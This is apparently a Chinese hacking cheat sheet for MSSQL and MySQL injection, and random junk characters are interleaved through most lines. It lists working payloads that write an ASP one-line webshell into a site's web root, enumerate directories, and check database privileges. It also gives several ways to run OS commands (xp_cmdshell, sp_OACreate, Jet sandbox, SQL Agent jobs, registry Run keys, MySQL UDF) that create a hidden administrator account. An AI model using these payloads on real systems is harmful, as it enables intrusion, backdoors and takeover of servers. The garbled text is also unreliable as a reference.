MSSQL语句导出一句话木马
c" r/ m# B+ [) v: a2 m2 X' Z( U! p3 M首先确定网站的WEB路径
" C. @+ J4 D3 c9 f5 I7 D6 [6 \ ^;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马! _/ }* T6 q5 k+ T9 R
$ B2 @/ ^, t% w/ p( E;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- ) r V% U, h9 i }8 a
//将一句话木马插入表中
1 E; q+ g" F, K- `3 F# V6 n7 C9 ^* e9 M9 D& x- D5 O
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 7 p3 N) e6 E4 o
//导出一个ASP文件
/ B, ~8 H" ~% W! c4 F$ N W8 c4 L/ `) R% [5 {
. [1 i# e1 L) C- ^: U, e/ M关于MSSQL列目录' S7 X% E# w! H/ w% f" y( h
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表! A4 B. ?6 G5 S! [! S L( }
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表3 ~, r- [5 o; N8 `3 t" a# R
% F4 I0 h9 L1 |! s
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
# U3 g4 C0 o" I, [0 t& C5 i$ B9 }, ^- e1 P; c. b
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段3 `. [' L5 \" S: S( p
2 \+ |7 Y+ b5 l2 SAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符6 C0 l' g" l- z; N, n1 ]
9 {0 b& }3 S# u) O; h* c. f% H
) e/ m, r7 b/ H$ T7 |- I: G数据库版本和权限查看, o4 M7 c/ K( s) k8 J7 g
and 1=(select @@VERSION) //查看详细的数据库信息.1 z, d4 M4 @: y
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
3 i o( g5 E) Fand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
' q3 s. w. o' F0 e" @, `# P5 [4 \- V0 d. H; R
2 j* v+ T) e& g! \5 D8 T1.利用xp_cmdshell执行命令
. y; m! W4 \" O% Fexec master..xp_cmdshell 'net user rfire 123456 /add'7 G% G5 Q; C: T9 K5 L" b
exec master..xp_cmdshell 'net localgroup administrators rfire /add'9 @/ I8 `0 ?9 S0 ?6 ~
Q) m1 U l5 s* ^" R恢复xp_cmdshell存储过程% ]/ S/ F8 b- i. k1 y
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'5 B; f9 X) M$ o0 v5 K- i! \+ @3 `
* l% N$ |( U. j& ~% l0 b' I. U9 ^. B5 v- S+ m% d
2.利用SP_OAcreate和SP_OAMETHOD执行命令
, A* H. W' P& U$ K9 d# I在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
2 c5 X2 I9 v! V" M4 g3 WDECLARE @shell INT //建立一个@shell实体+ M; k2 E. n8 l
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例1 V: R, H3 V6 F$ Z
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例3 G( n8 n: y2 {" M/ ~9 y/ E: X
% t& y) N# V2 O1 G: o* Y5 e
! e/ X: O6 n8 f7 b- K0 J3 a- K: r3.利用沙盒模式! b2 {3 L- b1 \! u
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
/ s9 p z& k! f3 c$ q5 t2 N开启沙盒模式:
G# u8 k7 g; UEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
N& p: S* [# L4 V& X$ o# H( i. I4 n# ^+ R$ s5 s( T+ J4 W7 [
执行命令:. o- L* c4 f- a) R
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');! Y' K7 T' _+ o5 N) G+ i
! F1 o# M) N0 ~, B; [" ^( u# e8 i* ?8 I
4.利用SQL代理执行命令$ g6 z. I4 I, {) |5 N7 N
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务- W. [9 R) U5 M9 @; R; T
4 C& Y& v) k$ g& ?7 k7 R. n
执行命令:$ [ Q% v: f" |. t
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
; Z# v1 |4 `9 _: ?exec sp_add_job 'x'
. W. x" c% D, V f( a4 |exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
2 O5 b; X2 B5 `, f$ eexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
; B0 M8 \6 p* @: }4 o3 [& W m. W: X. _# q7 [8 D, b
3 ~! o2 z+ M0 B6 G5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)) B6 ~0 U$ x# j# e! D; G
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
+ }! K7 @7 \' S/ S F/ j3 b6 u
; H. H. h7 Q$ Y3 s0 m; s: |- T1 c' m
, ^; E8 |+ G7 m* I6.MYSQL的命令执行# W; O- r: m& i0 Q3 \3 h+ t* A2 t
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)$ p! P0 p" Z% A% {, e- y! j
首先要在su.php下导出c:\windows\udf.dll7 d7 f0 e5 u; q4 J, u' w& y
导出后执行创建自定义函数命令:
9 F0 G9 ?8 w0 {0 V$ S! gCreate Function cmdshell returns string soname 'udf.dll'5 n0 o( `' u- @
执行命令
; O6 f4 R5 h; Z- g* F# r' vselect cmdshell('net user rfire 123456 /add'). n% G8 s& F p; S: F% k
执行后删除函数 drop function cmdshell: b: M& v, z8 j( ]# ?2 f& M
|